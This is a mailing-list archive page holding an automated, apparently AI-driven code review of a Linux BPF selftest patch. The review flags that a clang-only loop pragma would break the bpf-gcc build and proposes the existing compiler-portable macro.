CI run summary: https://github.com/kernel-patches/bpf/actions/runs/47503569594
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for tail calls
2026-12-05 9:09 ` [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for " Pragyansh Chaturvedi
@ 2026-12-05 9:35 ` bot+bpf-ci
0 siblings, 0 replies; 5+ messages in thread
From: bot+bpf-ci @ 2026-12-05 9:35 UTC (permalink / raw)
To: r41k0u, bpf
Cc: ast, daniel, andrii, eddyz87, varunrmallya, kc, yonghong.song,
memxor, ngs, netdev, linux-kselftest, r41k0u, ast, andrii, daniel,
martin.lau, eddyz87, yonghong.song, mason, ihor.solodrai
[-- Attachment #1: Type: text/plain, Size: 2010 bytes --]
> selftests/bpf: Test raw_tp test_run ctx padding for tail calls
TL;DR: The new selftest uses "#pragma clang loop", which bpf-gcc doesn't
recognise. The -Werror build may then fail for test_progs-bpf_gcc. Suggest
bpf_compiler.h's __pragma_loop_unroll_full instead.
> diff --git a/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c b/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c
> new file mode 100644
> index 000000000000..e8380d19892a
> --- /dev/null
> +++ b/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c
> @@ -0,0 +1,37 @@
> +// SPDX-License-Identifier: GPL-2.0
> +#include <linux/bpf.h>
> +#include <bpf/bpf_helpers.h>
[ ... ]
> +SEC("raw_tracepoint/sched_switch")
> +int target(void *ctx)
> +{
> + __u64 *a = ctx;
> +
[ ... ]
> +#pragma clang loop unroll(full)
> + for (int i = 1; i < 12; i++) {
> + if (a[i])
> + return 1;
> + }
> + return 42;
> +}
Will this build with bpf-gcc? The selftests also compile every progs/*.c
for test_progs-bpf_gcc, with -Wall -Werror in BPF_CFLAGS, and GCC does not
recognise "#pragma clang loop":
error: ignoring '#pragma clang loop' [-Werror=unknown-pragmas]
If tailcall_raw_tp_ctx.bpf.o fails to build, tailcall_raw_tp_ctx.skel.h is
missing and prog_tests/tailcalls.c, which now includes it, cannot compile
for that runner.
Even if GCC only warned, the loop would not be forced to unroll, and a
non-unrolled loop would index ctx through a variable pointer, which the
verifier rejects for PTR_TO_CTX.
Commit 52dbd67dff5d ("bpf: Abstract loop unrolling pragmas in BPF
selftests") added bpf_compiler.h for this reason, and progs/test_skb_ctx.c
uses __pragma_loop_unroll_full for a similar loop over ctx fields.
Should this include "bpf_compiler.h" and use __pragma_loop_unroll_full
instead?
---
AI reviewed your patch. Please fix the bug or email reply why it's not a bug.
See: https://github.com/kernel-patches/vmtest/blob/master/ci/claude/README.md
CI run summary: https://github.com/kernel-patches/bpf/actions/runs/47503569594
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-12-05 9:35 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-12-05 9:06 bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats) Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for " Pragyansh Chaturvedi
2026-12-05 9:35 ` bot+bpf-ci
2026-12-05 9:35 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does " bot+bpf-ci
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox